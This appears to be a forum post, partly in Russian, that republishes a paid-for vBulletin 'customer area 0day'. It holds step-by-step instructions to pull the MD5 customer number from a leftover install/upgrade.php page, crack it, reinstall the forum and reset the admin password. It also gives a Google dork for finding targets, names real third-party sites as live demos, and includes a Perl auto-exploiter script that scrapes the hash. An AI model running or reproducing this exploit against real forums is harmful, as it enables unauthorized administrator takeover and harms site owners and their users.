Код:
Access to Admincp and Customer area.
The target forum need to have its install directory available for this exploit to work. /forum/install/upgrade.php
----------------------------------------
Please Enter Your Customer Number
This is the number with which you log in to the vBulletin.com Members' Area
----------------------------------------
The result is MD5,
You will need to bruteforce it to get the 12 char uppercase customer number.
Then you can re-install the forum and access admin area.
Заплатив автору 150$ я получил следующий эксплоит:
vBulletin x.x.x Customer Area 0day
htaccess install dir or delete install dir.
__________________________________________________ __________
# Exploit Title: vBulletin x.x.x Customer Area 0day #
# Author(s): Pixel_death, n3tw0rk, z0ne #
# Perl script coded by n0tch #
# Product: offical software #
# Software Version x.x.x #
# Product Download: http://www.vbulletin.com #
# Google Dork: intext
owered by vBulletin® #
# Demo sites;
# LIVE WORKING DEMO: go to http://vbhacks.info/install/upgrade.php follow the tutorial and decrypt the MD5#
# http://www.vbseo.com/install/upgrade.php #
# http://trove.nla.gov.au/forum/install/upgrade.php #
# http://www.xboxaddict.com/forums/install/upgrade.php #
__________________________________________________ ___________#
This all depends if the upgrade area is still on the forum files, if so you can see the customer number in MD5 by following these simply steps
1st: go to /install/upgrade.php
2nd: view source scroll down to the 300 maybe more and it should look like this #~
Код:
Unexpected Text:%1$s";
var SETUPTYPE = "upgrade";
var STEP_X_Y = "Step %1$s - %2$s";
var SERVER_NO_RESPONSE = "The server returned no response. This is probably due to a timeout setting. Please contact vBulletin Support for assistance";
//-->
As you can see var CUSTNUMBER = "38405e0bd55eec58330a6af5e960202e"; is there which can be decoded at http://d4tabase.com/forumdisplay.php?f=110 crack my hash section
then log in, reset admin pass and have fun^^
[CODE]
Auto tool script coded in perl
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common;
system('cls');
system('title vBulletin Install Auto Exploiter');
print "\n ---------------------------------------";
print "\n vBulletin Install Auto Exploiter founded by pixel_death, n3tw0rk & z0ne\n";
print " ---------------------------------------\n";
print " + d4tabase.com -+- d4tabase.com + ";
print "\n ---------------------------------------\n";
print " coded by n0tch shoutz d4tabase crew ";
print "\n ---------------------------------------\n";
if($#ARGV == -1 or $#ARGV > 0)
{
print "\n usage: ./vBulletin.pl domain (without http://) \n\n";
exit;
}
$domain = $ARGV[0];
$install_dir = "install";
$full_domain = "http://$domain/$install_dir/upgrade.php";
chop($domain);
&search;
sub search
{
$url = $full_domain;
$lwp = LWP::UserAgent->new();
$lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8");
$request = $lwp->post($url, ["searchHash" => "Search"]);
print " Searching $domain ----\n ";
if ($request->content =~ /CUSTNUMBER = \"(.+)\";/)
{
print "Result : $1\n";
} else {
print "Hash: Hash not found!\n";
}
}
[code]
Shouts to: n0tch, shadow008